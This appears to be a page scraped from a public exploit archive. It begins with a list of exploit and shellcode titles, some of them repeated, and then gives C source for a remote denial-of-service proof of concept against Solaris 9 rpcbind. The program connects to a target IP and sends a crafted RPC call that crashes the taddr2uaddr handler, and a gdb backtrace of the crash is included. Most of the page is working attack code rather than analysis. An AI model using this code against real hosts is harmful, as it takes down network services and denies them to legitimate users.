
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
95 lines
No EOL
2.6 KiB
C
95 lines
No EOL
2.6 KiB
C
// source: https://www.securityfocus.com/bid/21964/info
|
|
|
|
The Solaris operating system is prone to a denial-of-service vulnerability.
|
|
|
|
An attacker can exploit this issue to crash the 'rpcbind(1M)' server, denying service to legitimate users.
|
|
|
|
/*
|
|
////////////////////////////////////////////////////////////
|
|
// Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS
|
|
////////////////////////////////////////////////////////////
|
|
//
|
|
// Federico L. Bossi Bonin
|
|
// fbossi[at]globalST[dot]com[dot]ar
|
|
/////////////////////////////////////////////////////
|
|
|
|
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1
|
|
(gdb) backtrace
|
|
#0 0xff29b5f4 in __inet_taddr2uaddr () from /usr/lib/libnsl.so.1
|
|
#1 0x00013d88 in rpcbproc_taddr2uaddr_com ()
|
|
#2 0x000161c0 in rpcb_service_4 ()
|
|
(gdb)
|
|
|
|
*/
|
|
|
|
#include <string.h>
|
|
#include <rpc/rpc.h>
|
|
|
|
struct xdr {
|
|
long long_arg;
|
|
char *string_arg;
|
|
};
|
|
|
|
typedef struct xdr xdr;
|
|
static struct timeval TIMEOUT = { 25, 0 };
|
|
|
|
bool_t xdr_xdr (XDR *xdrs, xdr *objp) {
|
|
register int32_t *buf;
|
|
|
|
if (!xdr_long (xdrs, &objp->long_arg))
|
|
return FALSE;
|
|
if (!xdr_string (xdrs, &objp->string_arg, 4096))
|
|
return FALSE;
|
|
return TRUE;
|
|
}
|
|
|
|
char ** str_4(xdr *argp, CLIENT *clnt) {
|
|
static char *clnt_res;
|
|
|
|
memset((char *)&clnt_res, 0, sizeof(clnt_res));
|
|
if (clnt_call (clnt, 8,
|
|
(xdrproc_t) xdr_xdr, (caddr_t) argp,
|
|
(xdrproc_t) xdr_wrapstring, (caddr_t) &clnt_res,
|
|
TIMEOUT) != RPC_SUCCESS) {
|
|
return (NULL);
|
|
}
|
|
return (&clnt_res);
|
|
}
|
|
|
|
main(int argc, char *argv[]) {
|
|
CLIENT *c1;
|
|
char *server;
|
|
char **sresult;
|
|
|
|
|
|
if (argc !=2){
|
|
printf("=============================================================\n");
|
|
printf("Solaris 9 PortBind XDR-DECODE taddr2uaddr() Remote DoS\n");
|
|
printf("-------------------------------------------------------------\n");
|
|
printf("Federico L. Bossi Bonin <fbossi@globalST.com.ar>\n");
|
|
printf("=============================================================\n\n");
|
|
printf("usage: %s <IP>\n",argv[0]);
|
|
exit(1);
|
|
}
|
|
|
|
server = argv[1];
|
|
|
|
if ((c1 = clnt_create(server,100000, 4, "tcp")) == NULL){
|
|
clnt_pcreateerror(server);
|
|
exit(1);
|
|
}
|
|
|
|
xdr xdrmessage;
|
|
xdrmessage.long_arg = 0;
|
|
xdrmessage.string_arg="";
|
|
|
|
if ((sresult = str_4(&xdrmessage, c1)) == NULL){
|
|
clnt_perror(c1, server);
|
|
exit(1);
|
|
}
|
|
|
|
clnt_destroy(c1);
|
|
exit(0);
|
|
} |